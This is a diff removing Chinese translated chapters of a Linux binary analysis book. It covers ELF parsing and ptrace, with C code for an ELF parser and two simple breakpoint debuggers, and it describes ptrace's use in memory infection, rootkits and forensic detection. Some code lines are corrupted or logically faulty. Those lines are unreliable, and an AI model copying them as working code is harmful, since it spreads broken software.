at. */ - char *l_name; /* Absolute file name object was found in. */ - ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ - struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ - }; -``` - -一旦链接器完成了它的依赖列表的构建,它就会处理每个库上的重定位,类似于我们在本章前面讨论的重定位,并修复每个共享库的 GOT。 **Lazy linking**仍然适用于共享库的 PLT/GOT,所以 GOT 重定位(类型为`R_386_JMP_SLOT`)在函数被实际调用之前不会发生。 - -要了解关于 ELF 和动态链接的更多详细信息,请在线阅读 ELF 规范或查看一些有趣的 glibc 源代码。 希望动态链接在这一点上不再那么神秘,而更具有诱惑力。 在[第七章](7.html#21PMQ1-1d4163ae11644cc2802846625b2dc985 "Chapter 7. Process Memory Forensics"),*进程内存取证*中,我们将介绍重定向共享库函数调用的 PLT/GOT 中毒技术。 一个非常有趣的技巧是颠覆动态链接。 - -# 编写 ELF 解析器 - -为了帮助总结我们所学到的一些内容,我包含了一些简单的代码,这些代码将打印 32 位 ELF 可执行文件的程序头和节名。 更多与 elf 相关的代码示例(以及更有趣的代码)将贯穿全书: - -```sh -/* elfparse.c – gcc elfparse.c -o elfparse */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -int main(int argc, char **argv) -{ - int fd, i; - uint8_t *mem; - struct stat st; - char *StringTable, *interp; - - Elf32_Ehdr *ehdr; - Elf32_Phdr *phdr; - Elf32_Shdr *shdr; - - if (argc < 2) { - printf("Usage: %s \n", argv[0]); - exit(0); - } - - if ((fd = open(argv[1], O_RDONLY)) < 0) { - perror("open"); - exit(-1); - } - - if (fstat(fd, &st) < 0) { - perror("fstat"); - exit(-1); - } - - /* Map the executable into memory */ - mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); - if (mem == MAP_FAILED) { - perror("mmap"); - exit(-1); - } - - /* - * The initial ELF Header starts at offset 0 - * of our mapped memory. - */ - ehdr = (Elf32_Ehdr *)mem; - - /* - * The shdr table and phdr table offsets are - * given by e_shoff and e_phoff members of the - * Elf32_Ehdr. - */ - phdr = (Elf32_Phdr *)&mem[ehdr->e_phoff]; - shdr = (Elf32_Shdr *)&mem[ehdr->e_shoff]; - - /* - * Check to see if the ELF magic (The first 4 bytes) - * match up as 0x7f E L F - */ - if (mem[0] != 0x7f && strcmp(&mem[1], "ELF")) { - fprintf(stderr, "%s is not an ELF file\n", argv[1]); - exit(-1); - } - - /* We are only parsing executables with this code. - * so ET_EXEC marks an executable. - */ - if (ehdr->e_type != ET_EXEC) { - fprintf(stderr, "%s is not an executable\n", argv[1]); - exit(-1); - } - - printf("Program Entry point: 0x%x\n", ehdr->e_entry); - - /* - * We find the string table for the section header - * names with e_shstrndx which gives the index of - * which section holds the string table. - */ - StringTable = &mem[shdr[ehdr->e_shstrndx].sh_offset]; - - /* - * Print each section header name and address. - * Notice we get the index into the string table - * that contains each section header name with - * the shdr.sh_name member. - */ - printf("Section header list:\n\n"); - for (i = 1; i < ehdr->e_shnum; i++) - printf("%s: 0x%x\n", &StringTable[shdr[i].sh_name], shdr[i].sh_addr); - - /* - * Print out each segment name, and address. - * Except for PT_INTERP we print the path to - * the dynamic linker (Interpreter). - */ - printf("\nProgram header list\n\n"); - for (i = 0; i < ehdr->e_phnum; i++) { - switch(phdr[i].p_type) { - case PT_LOAD: - /* - * We know that text segment starts - * at offset 0\. And only one other - * possible loadable segment exists - * which is the data segment. - */ - if (phdr[i].p_offset == 0) - printf("Text segment: 0x%x\n", phdr[i].p_vaddr); - else - printf("Data segment: 0x%x\n", phdr[i].p_vaddr); - break; - case PT_INTERP: - interp = strdup((char *)&mem[phdr[i].p_offset]); - printf("Interpreter: %s\n", interp); - break; - case PT_NOTE: - printf("Note segment: 0x%x\n", phdr[i].p_vaddr); - break; - case PT_DYNAMIC: - printf("Dynamic segment: 0x%x\n", phdr[i].p_vaddr); - break; - case PT_PHDR: - printf("Phdr segment: 0x%x\n", phdr[i].p_vaddr); - break; - } - } - - exit(0); -} -``` - -### 提示 - -**下载示例代码** - -您可以从您的帐户[http://www.packtpub.com](http://www.packtpub.com)下载您购买的所有 Packt Publishing 图书的示例代码文件。 如果您在其他地方购买这本书,您可以访问[http://www.packtpub.com/support](http://www.packtpub.com/support)并注册,将文件直接通过电子邮件发送给您。 - -# 总结 - -既然我们已经探索了 ELF,我强烈建议读者继续探索这种格式。 在本书中,你会遇到许多项目,希望它们能激励你这样做。 我花了多年的热情和探索才了解我所拥有的。 我很感激能够分享我所学到的东西,并以一种有助于读者以一种有趣和创造性的方式学习这一困难材料的方式呈现出来。*** \ No newline at end of file diff --git a/docs/learn-linux-bin-anal/3.md b/docs/learn-linux-bin-anal/3.md deleted file mode 100644 index 67401c8c..00000000 --- a/docs/learn-linux-bin-anal/3.md +++ /dev/null @@ -1,1316 +0,0 @@ -# 三、Linux 进程跟踪 - -在上一章中,我们介绍了`ELF`格式的内部结构,并解释了它的内部工作原理。 在 Linux 和其他使用`ELF`格式的 unix 操作系统中,`ptrace`系统调用与分析、调试、反向工程和修改使用`ELF`格式的程序密切相关。 系统调用用于附加到进程并访问代码、数据、堆栈、堆和寄存器的整个范围。 - -由于`ELF`程序完全映射到进程地址空间中,您可以附加到该进程并解析或修改`ELF`映像,这与您对磁盘上实际的`ELF`文件进行解析或修改的方式非常类似。 主要的区别是,我们使用`ptrace`来访问程序,而不是使用`open/mmap/read/write`调用来访问`ELF`文件。 - -有了`ptrace`,我们可以完全控制程序的执行流,这意味着我们可以做一些非常有趣的事情,从内存病毒感染和病毒分析/检测到用户域内存 rootkit、高级调试任务、热补丁和反向工程。 由于我们在这本书中有一整章专门讨论其中的一些任务,所以我们不会对每一个都进行深入讨论。 相反,我将提供一个入门教程,让您了解`ptrace`的一些基本功能以及黑客如何使用它。 - -# ptrace 的重要性 - -在 Linux 中,`ptrace(2)`系统调用是访问进程地址空间的用户方式。 这意味着某人可以附加到自己拥有的流程,并对其进行修改、分析、反向和调试。 众所周知的调试和分析应用,如`gdb`、`strace`和`ltrace`都是`ptrace`辅助应用。 `ptrace`命令对逆向工程师和恶意软件作者都非常有用。 - -它使程序员能够附加到进程和修改内存,包括注入代码和修改等重要数据结构**全局偏移表**(**)给共享库重定向。 在本节中,我们将介绍`ptrace`最常用的特性,从攻击者的角度演示内存感染,并通过编写程序将进程映像重构回可执行文件来进行进程分析。 如果你从来没有使用过`ptrace`,那么你会发现你已经错过了很多乐趣!** - - **# ptrace 请求 - -与任何其他系统调用一样,`ptrace`系统调用有一个`libc`包装器,因此您可以包括`ptrace.h`并在向其传递请求和进程 ID 时简单地调用`ptrace`。 下面的细节并不能替代`ptrace(2)`的主页,尽管有些描述是从主页中借用的。 - -这是剧情简介: - -```sh -#include -long ptrace(enum __ptrace_request request, pid_t pid, -void *addr, void *data); -``` - -## ptrace 请求类型 - -下面是使用`ptrace`与进程映像交互时最常用的请求列表: - - -| - -请求 - - | - -描述 - - | -| --- | --- | -| `PTRACE_ATTACH` | 附加到`pid`中指定的进程,使其成为调用进程的跟踪器。 tracee 被发送一个`SIGSTOP`信号,但不一定在这个调用完成时停止。 使用`waitpid(2)`等待跟踪器停止。 | -| `PTRACE_TRACEME` | 指示该进程将由其父进程跟踪。 如果一个进程的父进程不希望跟踪它,那么它可能不应该发出这个请求。 | -| `PTRACE_PEEKTEXT PTRACE_PEEKDATA PTRACE_PEEKUSER` | 这些请求允许跟踪进程读取被跟踪进程映像中的虚拟内存地址; 例如,我们可以将整个文本或数据段读入缓冲区进行分析。请注意,`PEEKTEXT`、`PEEKDATA`和`PEEKUSER`请求的实现没有差异。 | -| `PTRACE_POKTEXT PTRACE_POKEDATA PTRACE_POKEUSER` | 这些请求允许跟踪进程修改被跟踪进程映像中的任何位置。 | -| `PTRACE_GETREGS` | 这个请求允许跟踪进程获得被跟踪进程的寄存器副本。 当然,每个线程上下文都有自己的寄存器集。 | -| `PTRACE_SETREGS` | 这个请求允许跟踪进程为跟踪进程设置新的寄存器值,例如,将指令指针的值修改为指向 shell 代码的值。 | -| `PTRACE_CONT` | 这个请求告诉停止的跟踪进程恢复执行。 | -| `PTRACE_DETACH` | 这个请求也会恢复跟踪进程,但也会分离。 | -| `PTRACE_SYSCALL` | 这个请求恢复跟踪进程,但安排它在下一次系统调用的入口/出口停止。 这允许我们检查系统调用的参数,甚至修改它们。 这个`ptrace`请求在名为`strace`的程序的代码中大量使用,`strace`是大多数 Linux 发行版附带的。 | -| `PTRACE_SINGLESTEP` | 此恢复进程,但在下一个指令之后停止它。 单步执行允许调试器在执行每条指令后停止。 这允许用户在每条指令之后检查寄存器的值和进程的状态。 | -| `PTRACE_GETSIGINFO` | 这个检索导致停止的信号的信息。 它检索了`siginfo_t`结构的一个副本,我们可以对其进行分析或修改(使用`PTRACE_SETSIGINFO`)并将其发送回 tracee。 | -| `PTRACE_SETSIGINFO` | 设置信号信息。 从跟踪程序中的地址数据复制一个`siginfo_t`结构到跟踪程序。 这将只影响正常情况下将发送给跟踪器并将被跟踪器捕获的信号。 将这些正常信号与`ptrace()`自身产生的合成信号区分开来可能比较困难(忽略`addr`)。 | -| `PTRACE_SETOPTIONS` | 从数据中设置`ptrace`选项(忽略`addr`)。 Data 被解释为选项的位掩码。 这些是在下一节中由标志指定的(请查看`ptrace(2)`的主页以获取列表)。 | - -*这个词示踪*指的是过程进行跟踪(即调用`ptrace`),*和项 tracee*或【显示】跟踪意味着正在追踪的程序示踪(`ptrace`)。 - -### 注意事项 - -默认行为覆盖任何 mmap 或 mprotect 权限。 这意味着用户可以使用`ptrace`写入文本段(即使它是只读的)。 如果内核是 pax 或 grsec 并修补了 mprotect 限制,这是不正确的,它强制段权限,以便它们也适用于`ptrace`; 这是一个安全特性。 - -我在[http://vxheavens.com/lib/vrn00.html](http://vxheavens.com/lib/vrn00.html)中关于*ELF 运行时感染*的论文讨论了绕过这些代码注入限制的一些方法。 - -# 进程寄存器状态和标志 - -`x86_64`的`user_regs_struct`结构包含通用寄存器、分段寄存器、堆栈指针、指令指针、CPU 标志和 TLS 寄存器: - -```sh - -struct user_regs_struct -{ - __extension__ unsigned long long int r15; - __extension__ unsigned long long int r14; - __extension__ unsigned long long int r13; - __extension__ unsigned long long int r12; - __extension__ unsigned long long int rbp; - __extension__ unsigned long long int rbx; - __extension__ unsigned long long int r11; - __extension__ unsigned long long int r10; - __extension__ unsigned long long int r9; - __extension__ unsigned long long int r8; - __extension__ unsigned long long int rax; - __extension__ unsigned long long int rcx; - __extension__ unsigned long long int rdx; - __extension__ unsigned long long int rsi; - __extension__ unsigned long long int rdi; - __extension__ unsigned long long int orig_rax; - __extension__ unsigned long long int rip; - __extension__ unsigned long long int cs; - __extension__ unsigned long long int eflags; - __extension__ unsigned long long int rsp; - __extension__ unsigned long long int ss; - __extension__ unsigned long long int fs_base; - __extension__ unsigned long long int gs_base; - __extension__ unsigned long long int ds; - __extension__ unsigned long long int es; - __extension__ unsigned long long int fs; - __extension__ unsigned long long int gs; -}; -``` - -在 32 位的 Linux 内核,`%gs`**用作线程本地存储**(【显示】**TLS)指针,虽然自`x86_64`,`%fs`注册已被用于此目的。 使用来自`user_regs_struct`的寄存器并使用`ptrace`对进程的内存进行读写访问,我们可以完全控制它。 作为练习,让我们编写一个简单的调试器,它允许我们在程序中的某个函数上设置断点。 当程序运行时,它将在断点处停止并打印寄存器值和函数参数。** - -# 一个简单的基于实践的调试器 - -让我们看一个代码示例,使用`ptrace`创建一个调试器程序: - -```sh -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -typedef struct handle { - Elf64_Ehdr *ehdr; - Elf64_Phdr *phdr; - Elf64_Shdr *shdr; - uint8_t *mem; - char *symname; - Elf64_Addr symaddr; - struct user_regs_struct pt_reg; - char *exec; -} handle_t; - -Elf64_Addr lookup_symbol(handle_t *, const char *); - -int main(int argc, char **argv, char **envp) -{ - int fd; - handle_t h; - struct stat st; - long trap, orig; - int status, pid; - char * args[2]; - if (argc < 3) { - printf("Usage: %s \n", argv[0]); - exit(0); - } - if ((h.exec = strdup(argv[1])) == NULL) { - perror("strdup"); - exit(-1); - } - args[0] = h.exec; - args[1] = NULL; - if ((h.symname = strdup(argv[2])) == NULL) { - perror("strdup"); - exit(-1); - } - if ((fd = open(argv[1], O_RDONLY)) < 0) { - perror("open"); - exit(-1); - } - if (fstat(fd, &st) < 0) { - perror("fstat"); - exit(-1); - } - h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); - if (h.mem == MAP_FAILED) { - perror("mmap"); - exit(-1); - } - h.ehdr = (Elf64_Ehdr *)h.mem; - h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr->e_phoff); - h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr->e_shoff); - if+ (h.mem[0] != 0x7f || strcmp((char *)&h.mem[1], "ELF")) { - printf("%s is not an ELF file\n",h.exec); - exit(-1); - } - if (h.ehdr->e_type != ET_EXEC) { - printf("%s is not an ELF executable\n", h.exec); - exit(-1); - } - if (h.ehdr->e_shstrndx == 0 || h.ehdr->e_shoff == 0 || h.ehdr->e_shnum == 0) { - printf("Section header table not found\n"); - exit(-1); - } - if ((h.symaddr = lookup_symbol(&h, h.symname)) == 0) { - printf("Unable to find symbol: %s not found in executable\n", h.symname); - exit(-1); - } - close(fd); - if ((pid = fork()) < 0) { - perror("fork"); - exit(-1); - } - if (pid == 0) { - if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) < 0) { - perror("PTRACE_TRACEME"); - exit(-1); - } - execve(h.exec, args, envp); - exit(0); - } - wait(&status); - printf("Beginning analysis of pid: %d at %lx\n", pid, h.symaddr); - if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) < 0) { - perror("PTRACE_PEEKTEXT"); - exit(-1); - } - trap = (orig & ~0xff) | 0xcc; - if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) { - perror("PTRACE_POKETEXT"); - exit(-1); - } - trace: - if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) { - perror("PTRACE_CONT"); - exit(-1); - } - wait(&status); - if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { - if (ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0) { - perror("PTRACE_GETREGS"); - exit(-1); - } - printf("\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\n", - h.exec, pid, h.symaddr); - printf("%%rcx: %llx\n%%rdx: %llx\n%%rbx: %llx\n" - "%%rax: %llx\n%%rdi: %llx\n%%rsi: %llx\n" - "%%r8: %llx\n%%r9: %llx\n%%r10: %llx\n" - "%%r11: %llx\n%%r12 %llx\n%%r13 %llx\n" - "%%r14: %llx\n%%r15: %llx\n%%rsp: %llx", - h.pt_reg.rcx, h.pt_reg.rdx, h.pt_reg.rbx, - h.pt_reg.rax, h.pt_reg.rdi, h.pt_reg.rsi, - h.pt_reg.r8, h.pt_reg.r9, h.pt_reg.r10, - h.pt_reg.r11, h.pt_reg.r12, h.pt_reg.r13, - h.pt_reg.r14, h.pt_reg.r15, h.pt_reg.rsp); - printf("\nPlease hit any key to continue: "); - getchar(); - if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) < 0) { - perror("PTRACE_POKETEXT"); - exit(-1); - } - h.pt_reg.rip = h.pt_reg.rip - 1; - if (ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0) { - perror("PTRACE_SETREGS"); - exit(-1); - } - if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) { - perror("PTRACE_SINGLESTEP"); - exit(-1); - } - wait(NULL); - if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) { - perror("PTRACE_POKETEXT"); - exit(-1); - } - goto trace; - } - if (WIFEXITED(status)) - printf("Completed tracing pid: %d\n", pid); - exit(0); - } - - Elf64_Addr lookup_symbol(handle_t *h, const char *symname) - { - int i, j; - char *strtab; - Elf64_Sym *symtab; - for (i = 0; i < h->ehdr->e_shnum; i++) { - if (h->shdr[i].sh_type == SHT_SYMTAB) { - strtab = (char *)&h->mem[h->shdr[h->shdr[i].sh_link].sh_offset]; - symtab = (Elf64_Sym *)&h->mem[h->shdr[i].sh_offset]; - for (j = 0; j < h->shdr[i].sh_size/sizeof(Elf64_Sym); j++) { - if(strcmp(&strtab[symtab->st_name], symname) == 0) - return (symtab->st_value); - symtab++; - } - } - } - return 0; - } -} -``` - -## 使用跟踪程序 - -要编译前面的源代码,可以使用以下命令: - -```sh -gcc tracer.c –o tracer - -``` - -请记住,`tracer.c`通过查找并引用`SHT_SYMTAB`类型的 section 头来定位符号表,因此它将无法在被剥夺了`SHT_SYMTAB`符号表的可执行文件上工作(尽管它们可能有`SHT_DYNSYM`)。 这实际上是有意义的,因为通常我们在调试仍处于开发阶段的程序,所以它们通常有一个完整的符号表。 - -另一个限制是,它不允许向正在执行和跟踪的程序传递参数。 因此,在实际的调试情况下,它不会做得很好,在这种情况下,您可能需要将开关或命令行选项传递给正在调试的程序。 - -作为我们设计的`./tracer`程序的一个示例,让我们在一个非常简单的程序上进行尝试,该程序两次调用名为`print_string(char *)`的函数,并在第一轮传递`Hello 1`字符串,在第二次传递`Hello 2`字符串。 - -下面是使用`./tracer`代码的示例: - -```sh -$ ./tracer ./test print_string -Beginning analysis of pid: 6297 at 40057d -Executable ./test (pid: 6297) has hit breakpoint 0x40057d -%rcx: 0 -%rdx: 7fff4accbf18 -%rbx: 0 -%rax: 400597 -%rdi: 400644 -%rsi: 7fff4accbf08 -%r8: 7fd4f09efe80 -%r9: 7fd4f0a05560 -%r10: 7fff4accbcb0 -%r11: 7fd4f0650dd0 -%r12 400490 -%r13 7fff4accbf00 -%r14: 0 -%r15: 0 -%rsp: 7fff4accbe18 -Please hit any key to continue: c -Hello 1 -Executable ./test (pid: 6297) has hit breakpoint 0x40057d -%rcx: ffffffffffffffff -%rdx: 7fd4f09f09e0 -%rbx: 0 -%rax: 9 -%rdi: 40064d -%rsi: 7fd4f0c14000 -%r8: ffffffff -%r9: 0 -%r10: 22 -%r11: 246 -%r12 400490 -%r13 7fff4accbf00 -%r14: 0 -%r15: 0 -%rsp: 7fff4accbe18 -Hello 2 -Please hit any key to continue: Completed tracing pid: 6297 - -``` - -如您所见,在`print_string`上设置了断点,每次调用该函数时,我们的`./tracer`程序捕获陷阱,打印寄存器值,然后在遇到一个字符后继续执行。 `./tracer`程序是一个很好的例子,说明了`gdb`这样的调试器是如何工作的。 尽管它要简单得多,但它演示了流程跟踪、断点和符号查找。 - -如果您想执行一个程序并同时跟踪它,那么这个程序就非常有用。 但是跟踪一个已经在运行的进程呢? 在这种情况下,我们希望使用`PTRACE_ATTACH`附加到进程映像。 该请求将`SIGSTOP`发送到我们要附加到的进程,因此我们使用`wait`或`waitpid`来等待进程停止。 - -# 一个简单的 ptrace 调试器,具有进程附加功能 - -让我们看看一个代码示例: - -```sh -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -typedef struct handle { - Elf64_Ehdr *ehdr; - Elf64_Phdr *phdr; - Elf64_Shdr *shdr; - uint8_t *mem; - char *symname; - Elf64_Addr symaddr; - struct user_regs_struct pt_reg; - char *exec; -} handle_t; - -int global_pid; -Elf64_Addr lookup_symbol(handle_t *, const char *); -char * get_exe_name(int); -void sighandler(int); -#define EXE_MODE 0 -#define PID_MODE 1 - -int main(int argc, char **argv, char **envp) -{ - int fd, c, mode = 0; - handle_t h; - struct stat st; - long trap, orig; - int status, pid; - char * args[2]; - - printf("Usage: %s [-ep /] - [f ]\n", argv[0]); - - memset(&h, 0, sizeof(handle_t)); - while ((c = getopt(argc, argv, "p:e:f:")) != -1) - { - switch(c) { - case 'p': - pid = atoi(optarg); - h.exec = get_exe_name(pid); - if (h.exec == NULL) { - printf("Unable to retrieve executable path for pid: %d\n", - pid); - exit(-1); - } - mode = PID_MODE; - break; - case 'e': - if ((h.exec = strdup(optarg)) == NULL) { - perror("strdup"); - exit(-1); - } - mode = EXE_MODE; - break; - case 'f': - if ((h.symname = strdup(optarg)) == NULL) { - perror("strdup"); - exit(-1); - } - break; - default: - printf("Unknown option\n"); - break; - } -} -if (h.symname == NULL) { - printf("Specifying a function name with -f - option is required\n"); - exit(-1); -} -if (mode == EXE_MODE) { - args[0] = h.exec; - args[1] = NULL; -} -signal(SIGINT, sighandler); -if ((fd = open(h.exec, O_RDONLY)) < 0) { - perror("open"); - exit(-1); -} -if (fstat(fd, &st) < 0) { - perror("fstat"); - exit(-1); -} -h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); -if (h.mem == MAP_FAILED) { - perror("mmap"); - exit(-1); -} -h.ehdr = (Elf64_Ehdr *)h.mem; -h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr> -h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr> - -if (h.mem[0] != 0x7f &&!strcmp((char *)&h.mem[1], "ELF")) { - printf("%s is not an ELF file\n",h.exec); - exit(-1); -} -if (h.ehdr>e_type != ET_EXEC) { - printf("%s is not an ELF executable\n", h.exec); - exit(-1); -} -if (h.ehdr->e_shstrndx == 0 || h.ehdr->e_shoff == 0 || h.ehdr->e_shnum == 0) { - printf("Section header table not found\n"); - exit(-1); -} -if ((h.symaddr = lookup_symbol(&h, h.symname)) == 0) { - printf("Unable to find symbol: %s not found in executable\n", h.symname); - exit(-1); -} -close(fd); -if (mode == EXE_MODE) { - if ((pid = fork()) < 0) { - perror("fork"); - exit(-1); - } - if (pid == 0) { - if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) < 0) { - perror("PTRACE_TRACEME"); - exit(-1); - } - execve(h.exec, args, envp); - exit(0); - } -} else { // attach to the process 'pid' - if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) { - perror("PTRACE_ATTACH"); - exit(-1); - } -} -wait(&status); // wait tracee to stop -global_pid = pid; -printf("Beginning analysis of pid: %d at %lx\n", pid, h.symaddr); -// Read the 8 bytes at h.symaddr -if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) < 0) { - perror("PTRACE_PEEKTEXT"); - exit(-1); -} - -// set a break point -trap = (orig & ~0xff) | 0xcc; -if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) { - perror("PTRACE_POKETEXT"); - exit(-1); -} -// Begin tracing execution -trace: -if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) { - perror("PTRACE_CONT"); - exit(-1); -} -wait(&status); - -/* - * If we receive a SIGTRAP then we presumably hit a break - * Point instruction. In which case we will print out the - *current register state. -*/ -if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { - if (ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0) { - perror("PTRACE_GETREGS"); - exit(-1); - } - printf("\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\n", h.exec, pid, h.symaddr); - printf("%%rcx: %llx\n%%rdx: %llx\n%%rbx: %llx\n" - "%%rax: %llx\n%%rdi: %llx\n%%rsi: %llx\n" - "%%r8: %llx\n%%r9: %llx\n%%r10: %llx\n" - "%%r11: %llx\n%%r12 %llx\n%%r13 %llx\n" - "%%r14: %llx\n%%r15: %llx\n%%rsp: %llx", - h.pt_reg.rcx, h.pt_reg.rdx, h.pt_reg.rbx, - h.pt_reg.rax, h.pt_reg.rdi, h.pt_reg.rsi, - h.pt_reg.r8, h.pt_reg.r9, h.pt_reg.r10, - h.pt_reg.r11, h.pt_reg.r12, h.pt_reg.r13, - h.pt_reg.r14, h.pt_reg.r15, h.pt_reg.rsp); - printf("\nPlease hit any key to continue: "); - getchar(); - if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) < 0) { - perror("PTRACE_POKETEXT"); - exit(-1); - } - h.pt_reg.rip = h.pt_reg.rip 1; - if (ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0) { - perror("PTRACE_SETREGS"); - exit(-1); - } - if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) { - perror("PTRACE_SINGLESTEP"); - exit(-1); - } - wait(NULL); - if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) { - perror("PTRACE_POKETEXT"); - exit(-1); - } - goto trace; -} -if (WIFEXITED(status)){ - printf("Completed tracing pid: %d\n", pid); - exit(0); -} - -/* This function will lookup a symbol by name, specifically from - * The .symtab section, and return the symbol value. - */ - -Elf64_Addr lookup_symbol(handle_t *h, const char *symname) -{ - int i, j; - char *strtab; - Elf64_Sym *symtab; - for (i = 0; i < h->ehdr->e_shnum; i++) { - if (h->shdr[i].sh_type == SHT_SYMTAB) { - strtab = (char *) - &h->mem[h->shdr[h->shdr[i].sh_link].sh_offset]; - symtab = (Elf64_Sym *) - &h->mem[h->shdr[i].sh_offset]; - for (j = 0; j < h> - shdr[i].sh_size/sizeof(Elf64_Sym); j++) { - if(strcmp(&strtab[symtab->st_name], symname) == 0) - return (symtab->st_value); - symtab++; - } - } - } - return 0; -} - -/* -* This function will parse the cmdline proc entry to retrieve -* the executable name of the process. -*/ -char * get_exe_name(int pid) -{ - char cmdline[255], path[512], *p; - int fd; - snprintf(cmdline, 255, "/proc/%d/cmdline", pid); - if ((fd = open(cmdline, O_RDONLY)) < 0) { - perror("open"); - exit(-1); - } - if (read(fd, path, 512) < 0) { - perror("read"); - exit(-1); - } - if ((p = strdup(path)) == NULL) { - perror("strdup"); - exit(-1); - } - return p; -} -void sighandler(int sig) -{ - printf("Caught SIGINT: Detaching from %d\n", global_pid); - if (ptrace(PTRACE_DETACH, global_pid, NULL, NULL) < 0 && errno) { - perror("PTRACE_DETACH"); - exit(-1); - } - exit(0); -} -``` - -使用`./tracer`(版本 2),我们现在可以连接到一个已经运行的进程,然后在所需的函数上设置断点,并跟踪执行。 下面是一个跟踪程序的例子,该程序使用`print_string(char *s);`在循环中打印`Hello 1`字符串 20 次: - -```sh -ryan@elfmaster:~$ ./tracer -p `pidof ./test2` -f print_string -Beginning analysis of pid: 7075 at 4005bd -Executable ./test2 (pid: 7075) has hit breakpoint 0x4005bd -%rcx: ffffffffffffffff -%rdx: 0 -%rbx: 0 -%rax: 0 -%rdi: 4006a4 -%rsi: 7fffe93670e0 -%r8: 7fffe93671f0 -%r9: 0 -%r10: 8 -%r11: 246 -%r12 4004d0 -%r13 7fffe93673b0 -%r14: 0 -%r15: 0 -%rsp: 7fffe93672b8 -Please hit any key to continue: c -Executable ./test2 (pid: 7075) has hit breakpoint 0x4005bd -%rcx: ffffffffffffffff -%rdx: 0 -%rbx: 0 -%rax: 0 -%rdi: 4006a4 -%rsi: 7fffe93670e0 -%r8: 7fffe93671f0 -%r9: 0 -%r10: 8 -%r11: 246 -%r12 4004d0 -%r13 7fffe93673b0 -%r14: 0 -%r15: 0 -%rsp: 7fffe93672b8 -^C -Caught SIGINT: Detaching from 7452 - -``` - -因此,我们已经完成了简单的调试软件的编码,该软件既可以执行程序,又可以跟踪程序,或者附加到一个已有的进程,并跟踪程序。 这演示了 ptrace 最常见的用例类型,您编写的使用 ptrace 的大多数其他程序都是*trace .c*代码中技术的变体。 - -# 高级功能跟踪软件 - -2013 年,我设计了一个工具跟踪函数调用。 它与`strace`和`ltrace`非常相似,但它没有跟踪`syscalls`或库调用,而是跟踪从可执行文件中发出的每个函数调用。 这个工具已经在[第 2 章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format"),*ELF 二进制格式*中介绍过,但是它与`ptrace`的主题相当相关。 这是因为它完全依赖于`ptrace`,并使用控制流监视执行一些非常糟糕的动态分析。 源代码可以在 GitHub 上找到: - -[https://github.com/leviathansecurity/ftrace](https://github.com/leviathansecurity/ftrace) - -# ptrace 和法医学分析 - -`ptrace()`命令是系统调用,最常用于用户区域的内存分析。 事实上,如果你是设计取证软件运行在用户态,它可以访问其他进程内存的唯一途径是通过`ptrace`系统调用,或通过阅读`proc`文件系统(当然,除非程序有某种类型的显式设置共享内存 IPC)。 - -### 注意事项 - -可以附加到进程上,然后将`open/lseek/read/write /proc//mem`作为`ptrace`读写语义的替代。 - -2011 年,我获得了美国国防部高级研究计划局(DARPA) CFT (Cyber Fast Track)项目的一份合同,设计一款名为*Linux VMA 监视器*的产品。 此软件的目的是检测广泛的已知和未知进程内存感染,如 rootkit 和内存驻留病毒。 - -它本质上是使用理解`ELF`执行的特殊启发式方法,对每个进程地址空间执行自动智能内存取证分析。 它可以发现异常或寄生虫,如被劫持的功能和通用代码感染。 该软件可以分析活动内存并作为主机入侵检测系统工作,也可以对进程内存进行快照并对其进行分析。 该软件还可以检测并消毒磁盘上感染病毒的`ELF`二进制文件。 - -软件中大量使用了`ptrace`系统调用,并围绕`ELF`二进制和`ELF`运行时感染演示了许多有趣的代码。 我还没有发布源代码,因为我打算在发布之前提供一个更适合生产的版本。 在本文中,我们将涵盖*Linux VMA Monitor*可以检测/消毒的几乎所有感染类型,并且我们将讨论和演示用于识别这些感染的启发式方法。 - -十多年来,黑客一直在进程内存中隐藏复杂的恶意软件,以保持隐蔽。 这可能是共享库注入和 GOT 中毒的组合,或者是任何其他技术集。 系统管理员发现这些攻击的机会非常小,特别是因为没有很多公开可用的软件来检测这些攻击。 - -我已经发布了几个工具,包括但不限于 AVU 和 ECFS,它们都可以在 GitHub 和我的网站[http://bitlackeys.org/](http://bitlackeys.org/)上找到。 任何其他软件都是高度专门化和私人使用的,或者它根本就不存在。 与此同时,优秀的取证分析师可以使用调试器或编写定制软件来检测此类恶意软件,了解您在寻找什么以及为什么要寻找这些软件是很重要的。 因为这一章都是关于 ptrace 的,所以我想强调它是如何与法医分析联系在一起的。 